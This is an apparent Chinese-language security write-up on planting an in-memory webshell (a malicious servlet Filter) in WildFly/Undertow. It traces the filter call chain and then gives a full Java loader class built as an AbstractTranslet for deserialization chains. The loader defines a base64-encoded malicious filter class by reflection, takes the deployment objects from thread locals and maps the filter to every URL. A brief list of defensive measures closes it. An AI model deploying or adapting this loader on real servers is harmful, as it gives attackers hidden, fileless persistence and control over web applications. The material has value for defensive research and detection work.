Wildfly中间件内存马分析
字数 2368 2025-08-25 22:58:35
Wildfly中间件内存马分析与实现
1. Wildfly环境与基础概念
WildFly(原名JBoss AS/JBoss Application Server)是一套开源的企业级Java中间件软件,用于实现基于SOA架构的Web应用和服务。它包含一组可独立运行的软件组件,是Java EE/Jakarta EE应用服务器的重要实现之一。
本文分析的版本:WildFly 26.1.3
2. Filter内存马实现原理分析
2.1 Filter调用链分析
-
初始调用点:
- 在Servlet中下断点,查看调用栈
- 第一次
doFilter()出现在io.undertow.servlet.handlers.FilterHandler
-
FilterChain生成:
FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers)- 关键参数
filters通过this.filters.get(dispatcher)生成
-
FilterHandler实例化:
- 在
io.undertow.servlet.handlers.ServletPathMatches.createHandler中实例化FilterHandler - 传入的
filters参数实际上是noExtension列表
- 在
-
Filter映射设置:
io.undertow.servlet.handlers.ServletPathMatches.setupServletChains调用createHandleraddToListMap(noExtension, filterMapping.getDispatcher(), filter)生成ListMap
2.2 FilterMapping与Filter生成分析
FilterMapping分析:
- 来自
deploymentInfo deploymentInfo通过this.deployment.getDeploymentInfo()获取deploymentInfo.getFilterMappings()获取filterUrlMappings(ArrayList类型)- 元素类型为
FilterMappingInfo deploymentInfo.insertFilterUrlMapping方法可添加FilterMappingInfo
Filter分析:
- 通过
filters.getManagedFilter(filterMapping.getFilterName())获取 filters来自this.deployment.getFilters(),返回ManagedFilters对象ManagedFilters.getManagedFilter从managedFilterMap中获取ManagedFilterManagedFilters.addFilter可添加FilterInfo到managedFilterMap
2.3 Deployment关键分析
io.undertow.servlet.handlers.ServletPathMatches构造方法传入deploymentio.undertow.servlet.core.DeploymentImpl构造方法调用new ServletPathMatchesdeploymentInfo来自this.originalDeployment.clone()- 可通过
addFilter()添加FilterInfo
3. 内存马实现步骤
3.1 实现思路
- 获取
deployment - 获取
deploymentInfo - 实例化新的
FilterInfo - 向
deploymentInfo添加FilterInfo - 插入Filter映射
- 向
deployment的Filters添加FilterInfo
3.2 关键代码实现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WildflyFilterLoader extends AbstractTranslet {
private static ServletContextImpl servletContext;
private static HttpServletResponseImpl response;
private static DeploymentInfo deploymentInfo;
private static Deployment deployment;
private static String filterName = "HFilter";
private static String filterClassName = "com.server.HFilter";
private static String url = "/*";
// 加载Filter类
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
// 获取Web上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread thread = Thread.currentThread();
Object threadLocals = GetField(thread, "threadLocals");
Object table = GetField(threadLocals, "table");
for(int i = 0; i <= Array.getLength(table)-1; i++){
try{
Object object = Array.get(table, i);
Object value = GetField(object, "value");
if (value.getClass().getName().contains("ServletRequestContext")){
ServletRequestContext servletRequestContext = (ServletRequestContext) value;
response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
deployment = (Deployment) GetField(servletContext, "deployment");
break;
}
}catch (Exception e){}
}
}catch (Exception e){
e.printStackTrace();
}
}
// 注入Filter
private static synchronized void InjectFilter() throws Exception {
try{
if(deployment != null && deploymentInfo != null){
Class characterEncodingHFilter = Thread.currentThread()
.getContextClassLoader().loadClass(filterClassName);
FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
response.addHeader("Status","Work");
}
}catch (Exception e){
e.printStackTrace();
}
}
static {
new WildflyFilterLoader();
}
public WildflyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){}
}
// 反射获取字段值
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
3.3 关键步骤详解
-
加载Filter类:
- 尝试直接加载,失败则使用
defineClass动态加载 - 使用BASE64编码的恶意Filter类字节码
- 尝试直接加载,失败则使用
-
获取Web上下文:
- 通过线程局部变量获取
ServletRequestContext - 从中提取
HttpServletResponseImpl、ServletContextImpl - 获取
DeploymentInfo和Deployment对象
- 通过线程局部变量获取
-
注入Filter:
- 创建
FilterInfo实例 - 向
deploymentInfo添加Filter定义 - 插入Filter映射关系
- 向
deployment的Filters集合添加Filter
- 创建
-
反射工具方法:
- 支持获取类及其父类的私有字段
4. 防御建议
-
监控与检测:
- 监控
DeploymentInfo和FilterInfo的修改操作 - 检测动态类加载行为
- 监控
-
安全配置:
- 限制反射操作权限
- 启用安全管理器
-
运行时保护:
- 使用RASP解决方案监控关键API调用
- 定期检查已注册的Filter列表
-
代码审计:
- 检查所有动态加载的类
- 审计所有Filter注册点
5. 总结
Wildfly Filter内存马的核心在于通过获取Web上下文中的Deployment和DeploymentInfo对象,动态添加恶意Filter并设置映射关系。这种技术利用了Wildfly/Undertow的内部实现机制,通过反射和动态类加载实现无文件持久化驻留。防御此类攻击需要多层次的安全防护措施。